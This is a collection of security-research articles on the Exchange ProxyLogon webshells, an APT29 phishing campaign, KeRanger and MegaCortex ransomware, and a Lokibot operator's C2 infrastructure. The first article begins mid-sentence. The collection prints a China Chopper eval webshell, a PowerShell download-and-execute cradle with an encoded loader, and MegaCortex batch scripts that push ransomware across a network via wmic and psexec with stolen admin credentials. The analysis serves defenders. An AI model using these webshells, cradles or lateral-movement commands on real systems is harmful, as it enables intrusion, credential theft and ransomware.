on-prem Microsoft Exchange Server. Exchange Online is not affected. The versions affected are: - Microsoft Exchange Server 2019 - Microsoft Exchange Server 2016 - Microsoft Exchange Server 2013 - Microsoft Exchange Server 2010 CVEs affiliated with this incident: - CVE-2021-26855 - CVE-2021-26857 - CVE-2021-26858 - CVE-2021-27065 We are finding a significant number of webshells within the `C:\inetpub\wwwroot\aspnet_client\system_web` directory. Please keep in mind, this location can be redirected via the "PathWWWRoot" value in the "HKLM\SOFTWARE\Microsoft\InetStp" registry key. Webshell file names include: **UPDATE 05 March 1347pm ET:** We offer 358 unique webshell filenames. Some webshell filenames seem to be randomly generated, while some seem to be a static string. This list includes new webshell names that we have not yet seen included in Microsoft’s reporting. The webshell that these threat actors are using is known as the "China Chopper" one-liner. These are often in either the ASPX or PHP web language and will execute code passed in as an HTTP argument included in the request. The one-liner is slipped into a file and has a syntax like so: ```html http://f/<script language="JScript" runat="server">function Page_Load() {eval(Request["NO9BxmCXw0JE"],"unsafe");}</script> ``` **UPDATE 05 March 1347pm ET:** We offer 25 unique webshell HTTP request variables. Note that the different naming conventions of these ASPX webshells indicate the use of a different request variable. From the files we have seen thus far, we offer this breakdown also available online. ## Post-Exploitation Analysis **UPDATE 06 March 0004am ET:** These are new details just discovered. From a previously discovered webshell, we saw the execution of a command that was detected and stopped by Windows Defender. This PowerShell payload runs the Base64 encoded command (link defanged): ```powershell IEX (New-Object Net.WebClient).downloadstring('http[:]//p.estonine.com/p?e') ``` This domain is hosted on yet another Digital Ocean IP address, which we have reported. The response from this domain is a PowerShell download cradle, which seems to pull down a stager. Downloading the contents from this URL, we see: ```powershell Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995 [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); ``` This syntax loads more PowerShell code into memory, after decoding Base64 and decompressing it. The next layer includes this content: This code looks to gather data on the specific target and uses that to request more additional code from external servers. It sets up persistence via scheduled tasks depending on the amount of privileges and integrity level and looks to execute another obfuscated payload every 45 minutes. These payloads pull from `http[:]//cdn.chatcdn.net/p?low210305` or `http[:]//cdn.chatcdn.net/p?hig210305` based on high or medium integrity. Interestingly enough, both of these payloads are the same. ```powershell Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995 [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); ``` The final download we see calls out to `http[:]//188.166.162.201/update.png`, passing along the information gathered from this host. Requesting that URL with fake analysis data, we see a hefty 2 MB response which can yet again be decoded. For brevity, we will not include that payload in this post but link to it here. The decoded payload is a whopping 6 MB. For your own analysis, you can find that latest payload here. As of 06 March 0100am ET, we see the presence of this Winnet persistent service on 5 compromised Exchange servers. We can expect this number to increase and will be monitoring closely... this "more traditional" persistence method is what Huntress is fine-tuned to catch. ;) The traces of PowerShell we uncovered previously seem to be already known from previous research: [link]. **UPDATE 06 March 0216am ET:** We have worked through another layer of the onion. That 6 MB PowerShell payload uses a humongous multiline format-string to reorder and rearrange the entirety of the file, and pipe it into IEX or Invoke-Expression. It uses the typical `$env:COMSPEC` indexing technique to "spell out" the IEX alias. Removing the IEX we can let it unravel itself and reveal the next stage. What we are calling "stage five" (jeez) you can find here on this public Gist. Some techniques are immediately noticeable. The use of sporadic backticks in a PowerShell command to "escape" characters helps separate strings. There is clear use of inline C# and compiling code with the Add-Type cmdlet, gaining access to Win32 API calls, and more. **UPDATE 0317am ET:** Inside the "stage five" PowerShell code, we see two Base64 binaries. Extracting these out, we reach "stage six" and uncover DLL files. These are not .NET assemblies and we cannot easily open them up in dnSpy or ILSpy, and we're left to tools like GHIDRA/IDA/Hopper. There are breadcrumbs that indicate the use of SQLite, Mimikatz, dumping Google Chrome credentials, and more. From the stage 5 code, we can see that it does load these DLLs and invoke portions to literally run "powershell_reflective_mimikatz." We believe that these are both the 32-bit and 64-bit renditions of Mimikatz. While we are still digging through these to find more definitive details, simply passing these into a scanner like VirusTotal or ReversingLabs makes these binaries light up like a Christmas tree. *We will continue to update this post as more information flows in.* *John Hammond* *Threat hunter. Education enthusiast. Senior Security Researcher at Huntress.*
# Espionage Campaign Linked to Russian Intelligence Services **Date:** 13.04.2023 The Military Counterintelligence Service and the CERT Polska team (CERT.PL) observed a widespread espionage campaign linked to Russian intelligence services, aimed at collecting information from foreign ministries and diplomatic entities. Most of the identified targets of the campaign are located in NATO member states, the European Union, and, to a lesser extent, in Africa. Many elements of the observed campaign – the infrastructure, the techniques used, and the tools – overlap, in part or in full, with activity described in the past, referred to by Microsoft as “NOBELIUM” and by Mandiant as “APT29”. The actor behind them has been linked to, among other things, a campaign called “SOLAR WINDS” and the tools “SUNBURST”, “ENVYSCOUT”, and “BOOMBOX”, as well as numerous other espionage campaigns. The activities described here differ from the previous ones in the use of software unique to this campaign and not previously described publicly. New tools were used at the same time and independently of each other, or replacing those whose effectiveness had declined, allowing the actor to maintain a continuous, high operational tempo. At the time of publication of the report, the campaign is still ongoing and in development. The Military Counterintelligence Service and CERT.PL recommend all entities which may be in the area of interest of the actor to implement mechanisms aimed at improving the security of IT systems in use and increasing the detection of attacks. Examples of configuration changes and detection mechanisms are proposed in the recommendations. ## The Course of the Observed Campaign In all observed cases, the actor utilized spear phishing techniques. Emails impersonating embassies of European countries were sent to selected personnel at diplomatic posts. The correspondence contained an invitation to a meeting or to work together on documents. In the body of the message or in an attached PDF document, a link was included purportedly directing to the ambassador's calendar, meeting details, or a downloadable file. The link directed to a compromised website that contained the actor's signature script, publicly referred to as “ENVYSCOUT”. It utilizes the HTML Smuggling technique – whereby a malicious file placed on the page is decoded using JavaScript when the page is opened and then downloaded on the victim's device. This makes the malicious file more difficult to detect on the server side where it is stored. The web page also displayed information intended to reassure the victim that they had downloaded the correct attachment. In the course of the described campaign, three different versions of the ENVYSCOUT tool were observed, progressively adding new mechanisms to hinder analysis. Campaigns observed in the past linked to “NOBELIUM” and “APT29” used .ZIP or .ISO files to deliver the malware. During the campaign described above, .IMG files were also used in addition to the aforementioned file formats. ISO and IMG disk images, on Windows computers, are automatically mounted in the file system when opened, which causes their contents to be displayed in Windows Explorer. In addition, they do not carry the so-called mark-of-the-web, i.e., the user will not be warned that the files were downloaded from the Internet. The actor used various techniques to get the user to launch the malware. One of them was a Windows shortcut (LNK) file pretending to be a document but actually running a hidden DLL library with the actor's tools. The DLL Sideloading technique was also observed, using a signed executable file to load and execute code contained in a hidden DLL library by placing it in the same directory, under a name chosen according to the entries in the import table. At a later stage of the campaign, the name of the executable file contained many spaces to make the exe extension difficult to spot. ## Tools Used During the Campaign The actor used various tools at different stages of the described campaign. All those listed below are unique to the set of activities described. A detailed technical analysis of each is included in separate documents: 1. **SNOWYAMBER** – a tool first used in October 2022, abusing the Notion service to communicate and download further malicious files. Two versions of this tool have been observed. 2. **HALFRIG** – used for the first time in February 2023. This tool is distinguished from the others by the embedded code that runs the COBALT STRIKE tool. 3. **QUARTERRIG** – a tool first used in March 2023, sharing part of the code with HALFRIG. Two versions of this tool were observed. The first version of the SNOWYAMBER tool was publicly described by Recorded Future, among others. A modified version of the SNOWYAMBER tool, the HALFRIG tool, and the QUARTERRIG tool have not previously been described publicly. The SNOWYAMBER and QUARTERRIG tools were used as so-called downloaders. Both tools sent the IP address as well as the computer and user name to the actor. They were used to assess whether the victim was of interest to the actor and whether it was a malware analysis environment. If the infected workstation passed manual verification, the aforementioned downloaders were used to deliver and start up the commercial tools COBALT STRIKE or BRUTE RATEL. HALFRIG, on the other hand, works as a so-called loader – it contains the COBALT STRIKE payload and runs it automatically. Despite the observed changes in tools, many of the elements of the campaign are repeatable. These include: 1. The way the infrastructure is built. The actor behind the espionage campaign prefers to use vulnerable websites belonging to random entities. 2. Email theme. All acquired emails used in the campaigns used the theme of correspondence between diplomatic entities. 3. The use of a tool publicly referred to as ENVYSCOUT. This script has been used by the actor since at least 2022. Modifications to the tool's code were observed during the campaign, but they did not significantly affect its functionality. 4. A link to the ENVYSCOUT tool was provided to the victim in the form of a link embedded in the body of the email or in the body of an attached PDF file. 5. Use of ISO and IMG disc images. 6. Use of a technique called “DLL Sideloading” that uses a non-malicious, digitally signed executable file to start up the actor’s tools. 7. Use of commercial tools COBALT STRIKE and BRUTE RATEL. ## Recommendations The Military Counterintelligence Service and CERT.PL strongly recommend that all entities that may be in the actor's area of interest implement configuration changes to disrupt the delivery mechanism that was used in the described campaign. Sectors that should particularly consider implementing the recommendations are: 1. Government entities; 2. Diplomatic entities, foreign ministries, embassies, diplomatic staff, and those working in international entities; 3. International organisations; 4. Non-Governmental organisations. The following configuration changes can be used to disrupt the malware delivery mechanism used in the described campaign: 1. Blocking the ability to mount disk images on the file system. Most users doing office work have no need to download and use ISO or IMG files. 2. Monitoring of the mounting of disk image files by users with administrator roles. 3. Enabling and configuring Attack Surface Reduction Rules. 4. Configuring Software Restriction Policy and blocking the possibility of starting up executable files from unusual locations (in particular: temporary directories, %localappdata% and subdirectories, external media). We also include a collection of all observed indicators of compromise (IoCs) related to the campaign described, and we recommend verifying the system and network logs collected for their occurrence.
# Keranger: The First “In-the-Wild” Ransomware for Macs By Liviu Arsene Ransomware has been one of the most lucrative threats for cybercriminals. With the FBI estimating financial losses were up $1 billion dollars in 2017 alone, by the end of 2018 it’s reasonable to speculate that those numbers will be significantly higher. Although most ransomware targets systems running Windows, Mac ransomware became a reality when Brazilian researchers posted a proof-of-concept (dubbed Mabouia) in early 2015. Whether by coincidence or design, the first truly damaging ransomware sample for Macs emerged about a month later, delivered using a tampered version of a popular file-sharing application known as Transmission. ## The Keranger Mac Ransomware Dubbed Keranger, the Mac ransomware had the same ability as its Windows counterpart, meaning once loaded it could encrypt locally stored files, documents, and even Time Machine backups while demanding a bitcoin payment for the decryption key. Although Macs have a built-in system that prevents installation of unauthorized or unsigned applications from third-party marketplaces, the Keranger ransomware was bundled inside Transmission – a torrent application – after attackers managed to breach the official Transmission website and replace the legitimate .dmg file with a tampered version. Interestingly, to dodge GateKeeper’s app validation mechanism, attackers signed the tampered Transmission app with a valid Apple developer certificate, making it seem legitimate. Unsuspecting users who visited the official website and installed the application while it was live became the first-ever Mac ransomware victims. ## More Evidence of Mac Ransomware While Keranger was the first “in-the-wild” and documented ransomware outbreak for Macs, it was not the last, by far. Security researchers have identified a ransomware-as-a-service that enabled interested “customers” to purchase Mac-hostile ransomware in exchange for upfront payments or shared revenue from infected victims. While ransomware-as-a-service is not uncommon for Windows-based systems, its emergence for Macs suggests an increased interest from “customers” to start buying ransomware kits that can be deployed on Mac OS. A great example that further bolsters the case of Mac ransomware-as-a-service: the Keranger’s source code is publicly available to anyone interested in writing their own variant of Mac ransomware—and its developer only asks for 30% of what the “customer” gets from paying victims. Staying away from both ransomware and any other type of Mac threat is a simple matter of installing a Mac security solution that can accurately identify potentially malicious applications or threats. This type of security solution also keeps Mac users safe from phishing, fraudulent, or malware-serving websites that might trick users into installing or revealing sensitive data.
# The Tale of the Pija-Droid Firefinch From the illuminating malware adversaries series. One thing that I’ve learned from investigating malware adversaries for over a decade is that they enjoy reusing nicknames. An adversary that I have been tracking since February 2019 likes to use the moniker “Droid” in their Lokibot command-and-control (C2) addresses. So begins the story of the “Pija-Droid Firefinch”. The Pija-Droid Firefinch is a frequent flyer of Lokibot malware — an infostealer once marketed in Russian underground forums but nowadays freely available by any ne’er-do-wells brazen enough to infect computers. It appears that this malware actor mainly targets Spanish speaking communities based on language used in their malspam lures. The malicious email attachments are usually obscure file archive formats, perhaps utilized to circumvent AV scanners. At MalBeacon.com, we beacon malware adversaries while they are administering botnets, revealing quite a bit of information on attackers. We derived this adversary’s name using the following paradigm: **Pija** = The Spanish word for “prick”. Spanish is also the preferred malspam language used by the attacker. **Droid** = Our adversary’s moniker and a common directory found in their C2 URLs. **Firefinch** = A bird native to Nigeria and our attacker’s location. ## MalBeacon Attribution Intelligence Beacons indicate that this adversary uses a Windows 10 64 bit Operating System and prefers the Chrome browser when administering their botnet. Based on source IP addresses captured in MalBeacon and enriched in Comox, we can ascertain that this actor is based in Kuje, Nigeria. This actor seems to at times also use TunnelBear VPN software to mask their location. Researchers with access to MalBeacon can track this actor via the tag “pija2pnirb5s17824soa7j7oc3". The actor is currently using the Lokibot C2 at: `hxxp://ceraslog[.]com/droid/luck/droid.php` ### Lokibot C2 Admin URLs used by this adversary: - `hXXp://ceraslog[.]com/droid/luck/droid.php` - `hXXp://ebdro[.]website/yteu/hff/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://www.pricknpuss[.]website/eby/iop/rt/wer/dj/hid/jkdk/nsijf/nbdfif/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://www.4ku[.]wtf/droid/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://www.loider[.]asia/droid/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://www.botkill[.]asia/droid/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://layol[.]club/droid/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXps://www.forek[.]asia/droid/Panel/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://shinican-com[.]tk/droid/five/PvqDq929BSx_A_D_M1n_a.php` - `hXXp://ccloneforty[.]com/droid/five/PvqDq929BSx_A_D_M1n_a.php` ### Indicators of Compromise (SHA256) - 0043f5ca4a46823af3542c5ac95371c6c9c4a01e83d4bef9c8e3a36ec1bf3498 - 00aad8d16cfbd660318d6e20cb265ff083c1257f38aa6768bf4c4a658c764423 - 0d7085765464873df26536ee39c324a4e335c97b6308e80f7cb2ffa07e4c6fa5 - 0ff4de59d91253519bbdabb7a065530a8c3387a191dd666a44dd559e388d7343 - 11814efcaaba2ec462f1089fda3fbf225fde9edd9786453a11831bda3b7a5a12 - 14a9714bffe73d3c84876cd2d56539208ccb8ea66dea94e93d65fdc0d170c77c - 1b27ecca734a5860a537e25ec025fb949f9b1100fa28d830cb821ed7105e9e7e - 1cf3d28a15e45d1a802b04ec0fe74c22747a83f2cb72a0e1a00404192630fb15 - 232517ade42a92bfd2d00b15c1e59a1f1faf63d2df0cf3534f1566e589638ce4 - 240fddca13fa1d2567a9e36fe593608d4189f747f128451f843c03a20e38e3d0 - 2665ef458e4b2cad69e73f2f479a62c83fc1ebb88efba88af3da578d1e5c25f4 - 2a937cf6b90d4acaa1a7e3ee80bfab552fea34d947c6b3ae9f9f8ba3b3eaa271 - 2afeecedec480c0ad712a2af0e85967c480735de39758aed220d56a52320f993 - 3047df68205bff5d71a94d96de2be5813f437990a7b335c81a43b74953eaedb0 - 3275f6c72c4ef644f54525a823641e0627baf6276a4c44cc1f636903689d2cb6 - 34bccb20d722f16f8e0beb2067d57903c67ba903b254b07b923a2997aee2a5d6 - 362763ef9b5d5819e56ecb2c59e7012d8b68d848ccefd3aa4ac0083209f48df0 - 39e0f4aa3105bd890e3e881699c1d465e2cbd0bb25cbad93a268eebcb5a31ef3 - 3e5c1b4e262edaf5519c8868371e9d40ba9e5c53000f20a304717bc836cca106 - 434fe7457fc30a3fa0a1d02783ca87758ca4168cf77d577b0977e7f85417c2b0 - 4360f8e5bc2c553303c945fbe41512b22e74b8a73bf231ca148700383bf8b4b5 - 459888b5d39b3383b7dcc28e3708419247d05932d6727317f71b556e08e25146 - 47fc733d045215367e55c033926c8ebf7ccaa70de65ed9c1175e2e7e45bb688d - 499ee4fa0baa4ab69af45b8d873f39d952b2c297f74611c7853b714bd64d5396 - 4ad53f1c33c4b03e7641a110a6369ae8690ac8ab279c7493744ff11a51462f2a - 4d9437684c3931d89a6061b6546ad346c610df634e2c724107d1c982951ad890 - 4e4ab09a743c3546fb2bb593e120adc565855195227b6418c455a5febada5d59 - 4e545b2b8c24c54bc995358ad8a7d7fb3947b6e934aed9283f81d72423fcbf5f - 4f89855df9703cedbbb838ba7514d4231adb5e5c5b156ec3611eb1abeabe73af - 577b5fe65bf87041d37924c28fc9d56563ae7228098cf1dc0cd7e1c645d223b0 - 5b64f0fbbaad1956c5706e4d258ed1464265704aebc8584116b447cde07990f3 - 629d22dae05f6b3ae5a60bab42d01869778bae06c18f05370fcccc9a326b1b8a - 685856c81793497e40a6aa2ef3ebf4b28875e1832034fdbea7877ac20e9d8662 - 6977c44579162e2baa1b5d09d5081b917a9201ce7d60b31a37b395a90c118375 - 720e3427dfadb672905b964c16545c11d25cec4448e74ed227c3235dae26452b - 756b135dd77c66a04c6168469f79db53dfe0a66872f84e46bca8a4254bdca0a3 - 759f962fa803f47bdefded199db215b277e07085b33617cdcc4d119364f44cb6 - 75e370ff4264717e567afec35762420aa8a1f05dfc996b3cee5f141b1ceedef7 - 7a47ca97c5dc9999f5b03a5b95a26a647636cf06fa2a3efb9a9223a30098edf7 - 7a8c32bf14c7635fe32ae623799d2d06480109febff1138e86e677897e798cea - 8173917e7132ed1348a9d6a5fea3561605175a2e045c4326211b42df54f435ae - 87ff2c79088fc998dcdd5880bdce133239aca5aca03152afb7a7abf621b53920 - 88613a050c82915d7320fa31a3a088a32ce3e0fe7eba50b27c6099bf8a99d6c4 - 8a34e21916780732b486ef0afc97e1a5e9f698da8a277071b923d78c55e60d6e - 8c8fd26b1af69801f3ae5e96d6bcff4a3f839d704d3b9113a636d45d7b804bbc - 8e44a9f77507cad9b0a2de5c9187644342f72e2e8ac289de26d13587e905ece6 - 9746c1c179e4287f09dc8f5e1bc0fbbf69e14f5acf734e7c6ac8a78d6a000b58 - 97853f50eec181948f77569bd1561dc643be4f02a834491947abd087b2ded40b - 9ae13a6f8779b6d1e00d1c4182fff0b77c384f6a0ec16bccb6abbaedafd9adc6 - 9c2ce445b8ca7f4e13887f6dca0d263e8f015849ca12bf70c505c2beb9c96260 - 9c472a1cc1da194394702daef4b067898b113718a014b69ee558a1866dccbc49 - 9c4c156cf2ce58e5ab251d55e69b02a9b5efe461a2811b63c86504e608590b38 - 9f0f090995c6a65e557f4c876f3bd553383ed6053b707944c9916fe5069695e4 - 9f3b785dd8658fee11fd41904ef7fcec5bbcb17735f93092b683a0b67f32c905 - a27b91fc840a1951b89dbb74112f98cc8b9a84bfbbc248ea461234c70c5a8210 - a80551fc478bc4b2551d5d7b3ad8472005f7b1b7e5c3e5061b83c5f0efe1e3d6 - acf57c992f09e871910529f05cfac9174101dd97edee96d31c76ca8de8a65a91 - ad0b6f3f5d023aef90443aada57f4108c16bef6f08c9feea0d77dae93dcd8cae - b0eb1044c8a010429954acdc9fd525d59ccf45de8bfb3a6264ba72f63a420047 - b2c6f30ae6e965eb7c27b9788ae894ec070887c985534a2ca62e220e01dc5600 - b79c026b5204357412c1b35ef60800a7de693f6f99e36857d39111f0791f4831 - b8453e39884796df95bce782057f53d2f48f6a898fb9629d804fca2003fc5e76 - bd27666f9c54a424fb6536307a5cc8abd4d63baf016630f766727fafdde75a56 - cb3a23752fc8531d9176f0c604952dbccce19753d590b433c545c2aa37cca074 - cf03b352eacb8a639e486b680c73d912186775734bd298727e27498a75c56b7c - d3b7c954fa844c97005c645d2ec35ef9095875e1900f97dce25695fdf36ca7c3 - d5e2822a4b24de3e07d1218beb7459248aa55eb87541b5b146fe6f6e4658447f - db3036805f9a6853f9110529c4f579ca77b49dbd868f6c4c74073e9711d84186 - e39cc7043d80cb695c4317bb1b81872ea24f322f9bbde2b90aa9941f516b4246 - ebab97bcebd45d84306b1b9e4d8cf23c624f7259a5aef39b5cf7929d81f28e0d - ebd8b770d20aad3f6d64986c1da6e5ee56f358e1d995bad520c779b8354cceb4 - f03bf2e44be15864979b9ff5e6c76ca6c981b32a28af4d171ed17f49e330cc54 - f080fc7dfd4adea68e3e40d1de6cef1fa7b027d56b393c658c633dfac936d4bd - f0cebdbc95fb3905ce2625542ed890a3d8b0b7dfdfd466176c1729e9f18dc536 - f487ee1cba84db7c95f14a6e60cde89b6a3f02f3f7402d7cc40d0e3727930b5b - f6147a2d4337c768797ff828bffde6474cee9219b01e6749080f1c2c6bee4a33 - f9900639f429246816188889e4ebd25986729c9bc19303201cbdc6cbf947c1ab - fb31b8db39898f91047d094d00f4d1b2dc9cdc88edfd3b65fb2dbb11774f06f4 - 87282a3b391f65a2d0f554e45b48a06b1cf0b8be721d488e6410669342d390bf - 98eb0692b796ac0d5dc763bb0af2ed4ed4a820d3d95f027f8c55cc5a32f090e1 - cfa7d63eb0f70f0938f15acbab1d08a2f32df7332ca6601c3c2cff21861d90df - 6f3fd35f1da12cfc3e4e9c0a3a0a90ff93a033175fe93d01cb957ed38f8594a9 - da68b6c865d3adea4a7a5656cbb85ce4866edd492dce22e61ee7516d012064a1 - 8008a8bc04360de923f469ef67d59b397c6f3e61af6ad7b1df2cbb11fb6666b6 - 282ce86ad7a47775e94213715aca8b6cb812b1b3308c0bdcff94eb8f7f3f5c28 - f0eaa8e3e4f7228e4532dc65cc5d707165ec36f9d02c6e2e5c73cf5ea317a8c8 - bfabb027d7cac6f2660dcbff2284769e539da2ec15d7f3f807f5b77ed643508b - e49383ce48b70513b62d28a772a0b53be9d0e4bf4e9e24bc6ffc0374c1f4a9d6 - 4a1060acaafabe0df9fb41003a810fbe02c1832bea3712dc6cf502985a86d57a - 546f44da14f0ba3f9c596b859228d6516009abc3a5e6abfbecf1af281c830bb4 - a8ecc3adf1be445d6d45438b2eb1e7259ec2fe8cd625b5b64def18c0b2be44be - 10f014c0c2b1555c69c3b1f2f4997cea5a3995db018d1fddc6a89c6657086d5b - 4db4803af2045f028ae2f55c3a10de627f8ed8307d3e9c8aa6d4e0b3ffc8ed5d
# MegaCortex, Deconstructed: Mysteries Mount as Analysis Continues It’s been a week since we published our initial research on the ransomware calling itself MegaCortex. Our initial post was written over about a day and a half, as we started to observe an early outbreak on May 1. We have a lot of new information to share today. We know our last bulletin came out on a Friday afternoon (Pacific time in the US), which was late in other parts of the world starting the weekend, but we felt that alerting everyone to this growing threat was important. Sorry, but we’re doing it again today, too. Since then, we’ve become aware of more attacks that have taken place and spoken to people from more organizations that were targets for attack, and wanted to update you on what we’ve learned about the threat actor’s tools, techniques, and some of the quite perplexing small details whose sole purpose seems to be misdirection. ## What’s in an IoC? When we published the initial report last week, at the 11th hour (closer to the 27th) we found out that one of the research team performed a hunt through our malware repository and turned up some additional samples dating back a few months. Thinking we had discovered an early set of builds, and without checking into each file, we published the entire list of hashes to the story, intending to go back and make corrections if necessary. We discovered quickly that we’d stumbled upon something weird. Our search was quite simple, in retrospect, though it usually yields interesting results: The query looked for matches of a distinctive Common Name (CN) on the cryptographic certificate that was used to sign one of the MegaCortex malware executables. We found a handful of malware from a different family entirely: Rietspoof. But there was no other apparent connection between the Rietspoof and MegaCortex samples. For one thing, the certificates for each of those families were issued by different certificate authorities. For another, there was virtually no apparent code similarity between the two families. So we later removed those IoCs from the post in favor of hashes we were confident were accurate. It looked like MegaCortex was paying homage. A comparison of the MegaCortex cert and two of Rietspoof’s certs with the same Common Name (CN). Note the different issuer CAs. In both the cases of Rietspoof and MegaCortex, their signed binaries used one of several certificates, and in both cases, one of the certificates had been revoked but the others had not. We’ve reached out to Thawte, and we’re happy to report that they have issued a revocation against the signing certificate used in the initial MegaCortex attacks. ## Either Those Are Really Tiny Businesses or This Building Is Using an Undetectable Extension Charm But digging into the certificates has revealed another unanswered question. The address used by the certificate, a real street address in the London suburb of Romford, is linked to more than 74,000 registered businesses in the UK. We’ve also seen evidence of that address being used in signing certificates used to sign completely unrelated malware binaries. From looking at Street View, it appears to be a residential apartment block. Just what the heck is going on in that building? Additional MegaCortex samples from attack targets, and from malware sharing and analysis platforms, continue to come in. We’ll continue to update our IoC list on the SophosLabs Github. ## Batch File Attack Orchestration One target for attack who shared samples with us discovered that the attackers leveraged multiple domain controllers in their environment to conduct the attack. That person found six batch files, with filenames of just the numbers 1 through 6, on one of these compromised DCs. These batch files appear to have been used to orchestrate the attack phase that delivered the malware executable (winnit.exe) and its “launcher” batch file (stop.bat) to the machines under the relevant DC’s jurisdiction. The batch files redundantly, using two different methods, attempt to (1) copy the ransomware executable and its launcher batch file to machines over the target’s LAN, and (2) execute the launcher batch file using two different methods, WMI and PsExec. Each batch file is a long list of the same command, targeting each machine one after another. The batch files appear to run through the internal IP addresses of each targeted machine in descending order but don’t include all possible IP addresses in the internal range. We still don’t know how the attackers come up with a list of target IP addresses they build into the batch scripts. (The rstwg file referenced in the sixth batch file is a copy of the legitimate Windows PxExec.exe binary, renamed and copied into the %temp% directory.) ``` 1.bat: start copy stop.bat \\<target IP address>\c$\windows\temp\ 2.bat: start copy winnit.exe \\<target IP address>\c$\windows\temp\ 3.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c copy \\<a different DC's IP address>\c$\windows\temp\stop.bat c:\windows\temp\" 4.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c copy \\<a different DC's IP address>\c$\windows\temp\winnit.exe c:\windows\temp\" 5.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c c:\windows\temp\stop.bat" 6.bat: start psexec.exe \\<target IP address> -u <DOMAIN\DC user account> -p "<DC admin password>" -d -h -r rstwg -s -accepteula -nobanner c:\windows\temp\stop.bat ``` ## MegaCortex Time-Dependent Execution We briefly struggled to execute our initial MegaCortex sample after getting it, and several of its supporting files, as well as logs from one of the targeted institutions. In each infection, MegaCortex binaries have been distributed from a Domain Controller machine on the internal network. The threat actor(s) used stolen admin credentials to log in and then used WMI to push out and PsExec the payload to the entire (visible and online) network at once. The malware is a package of at least two files, the stop.bat batch file, used to launch MegaCortex, and winnit.exe, the malware executable itself (so far, called winnit.exe), which does the encrypting. The batch file, when run, kills a lot of processes and services, many of which might prevent some or all file encryption from proceeding. The last line of that batch file is a command line that executes the malware. The command uses a string of base64 as a sort of password to launch the file. Without using this string, the binary quits. (Side note: We haven’t shared certain details that the attacker could use to identify which target(s) shared information with us.) But there’s another problem running the malware: Each binary is time-dependent as well. The malware will only run if both of these conditions are met: You have to (a) use the correct password and (b) the clock on the target system must be within a 3-hour timeframe hardcoded into the malware binary itself. ## Odd Connection to a Different Malware Family Many people inside SophosLabs, and from the security community at large, have commented that the list of processes and services in the batch file is very close to, if not identical to, a batch file used for the same purpose by the ransomware LockerGoga. It’s an intriguing connection to yet another malware family. It’s not the only one. At least one of the C2 addresses that MegaCortex contacts has also been used as a C2 for LockerGoga, as well as several other malware. In addition, our early analysis of the MegaCortex malware binaries reveals several distinctive, uncommon internal characteristics or behavior quirks that were also exhibited by LockerGoga. For example: - Most other ransomware will rename the encrypted version of a given file only after encrypting it, but both MegaCortex and LockerGoga rename the files first, before encrypting them. We suspect this is a way to prevent the redundant executions of the malware from, redundantly, encrypting the same files twice. - The winnit.exe MegaCortex binary decrypts and drops an embedded DLL, which it uses to perform the encryption steps. Similar to the LockerGoga ransomware, winnit.exe acts as a ‘parent’ process, and spawns a rundll32.exe process to load the dropped DLL as a ‘child’. The child process performs the actual encryption of files, instructed by the winnit.exe parent, via shared memory. - The binary and DLL share some of the same memory. Analysis also shows evidence of another code library called boost in MegaCortex, used primarily for interprocess communications; The same functions from the boost library are also used in LockerGoga. And, for what it’s worth, the compiler used to build MegaCortex is version 14.x, the same as LockerGoga. None of these alone is enough to draw a line between the two, especially since it seems there isn’t a lot of subroutine parity between the two families. But it does muddy the water a bit and make one wonder. There are a lot of really odd, circumstantial coincidences here. ## The Bizarrely Noisy Infection Process MegaCortex is not camera shy and does not attempt to conceal its presence. In fact, on a machine that is being actively encrypted by the ransomware DLL component, someone who knows how to use a task manager will see hundreds of an instance of rundll32.exe running over and over again. (Corrected 15 May 2019: There’s only one rundll32.exe process. It exits after encrypting ten files and spawns a new rundll32.exe to encrypt the next ten files.) Each instance of rundll32.exe appears to be responsible for encrypting 10 of the target’s files. That’s because the malware seems to run a new instance of rundll32.exe for about every ten files it encrypts. It writes key blobs to a file with an eight-pseudorandom-letter filename and a .tsv suffix that the malware creates in the root of the C: drive. MegaCortex runs cipher.exe to wipe the hard drive’s free space after it has finished encrypting the files. This makes it harder to recover the deleted files using forensic tools. Like several other ransomware, MegaCortex invokes cipher.exe, another tipoff that something very wrong might be going on. Here’s a work-in-progress comparison of some of the filesystem changes different ransomware families make. ## What Does an Attack Look Like When It’s Happening? We produced a short video to illustrate what happens when the malware runs both with and without Sophos protection. Check it out! ## IoCs We will publish and update any IoCs on our Github page. Research for this report was contributed by SophosLabs and Sophos Support team members Doug Aamoth, Anand Ajjan, Sergio Bestulic, Faizul Fahim, Sean Kowalenko, Savio Lau, Mark Loman, Andrew Ludgate, Peter Mackenzie, Luca Nagy, Gabor Szappanos, Chee Hui. Tan, and Michael Wood. Thanks also to our colleagues at the Cyber Threat Alliance.
